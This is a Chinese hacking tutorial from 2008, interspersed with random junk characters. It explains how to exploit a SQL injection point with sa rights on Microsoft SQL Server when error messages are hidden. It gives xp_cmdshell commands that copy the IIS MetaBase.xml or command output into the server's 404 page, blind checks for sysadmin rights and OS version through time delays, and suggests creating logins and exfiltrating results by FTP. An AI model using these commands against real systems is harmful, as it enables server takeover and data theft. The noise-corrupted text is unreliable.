遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。+ }# x1 V0 g, H7 |" I
" ~. ~* X, m+ U) w7 D& w# y9 f 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
* M$ X( e m% r- E- q% C: A* q& p# V/ S
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。 Z6 |- B- p$ k+ H+ V5 z
# l5 C9 [. I) a5 C. m, Y o4 h! B
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm* x3 w7 Z9 u& H& C; p( `
' C5 L1 p ?7 J5 @$ j! t: }
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--6 ~% [# m! w( C) `* _
0 n1 c; e, k+ {& v$ ^( l- [- I, A0 W
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。3 S, b3 N. ]5 }3 a; L* R
3 L: z: m5 R7 O. J0 }% k
执行命令得到回显
" n# ~, Q* [. V2 P( }- t9 m( Y; u9 [; l' I& A% N1 h, p8 T/ U, `! u
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
/ U; x2 C' X+ l" X
7 v/ V* |" J- T( m 得到文件也shi相同,把文件copy到404b.htm就行了
) J0 b. e, P4 \' {6 B8 u9 s6 I5 ^$ |8 h8 |
by 28ice, 2008/6/26
; E7 K+ I& K7 e% ^, T% j7 ^- X
$ z5 T" y! o9 v0 t5 z, V3 V* n! i x 摘自 28度的冰# A+ c$ c4 }: w/ u* q( Y
$ u0 ~2 u- x, u' a- E 盲注判断权限和操作系统版本 [' Y8 {. Y. Z) A
: j, C! m5 p& N# S- N( r, ?7 [4 V 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
1 J6 Q4 l/ R3 @+ s2 o
- e7 v$ J: ]- T ` 最简单的,可能以用这样的方法:) R- C2 }2 ? R, ^ J t9 X. f
9 N* S" A( x5 w# @9 D 1=(select IS_SRVROLEMEMBER(’sysadmin’)), i& u+ b9 D' _( t/ c1 Q. y* z
g5 }2 d' B! @8 q/ n: l, u
当然,有些情况下,这个方法并不奏效。' t$ a# Y1 @( _% [# ]/ m5 [
3 H# n! Z) `( F/ u6 [
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。; p p1 C; {5 N/ w6 _
* A' A% r E0 D4 J9 }% h: c 有个3办法可能以解决这个问题! p6 O) [+ p' u9 F9 ], N
4 E( H; w; V/ x a.把执行结果写到404b.htm,具体请看我的上一篇文章7 @2 i! j9 x# v! `. `
! M/ ]2 l* s: \: T/ |7 N( `! Z b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟/ U. d: c4 \8 d$ r, {5 [ D9 k! h, }2 \
. T( _6 O5 \/ i/ n c.如果1433端口可能以连接,那干脆新建个sql登录
4 ]/ I1 M1 h! {, A/ {$ r9 x: E7 _7 h& X0 W1 S
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数9 h8 T! Q3 Q( F, b; P9 [
6 U4 ^3 I( n% V" _, r; P& U E
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
4 j6 J& Q5 n+ ?+ Y( d2 |+ H! L+ U9 W$ o) x6 ^' ?: ^& z
很简单/ ?1 P0 D$ ]- Q% b
1 B3 t% F- O: \3 `2 H
执行systeminfo
8 B1 [( h. o) E, a% J7 {# Y. T( v
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |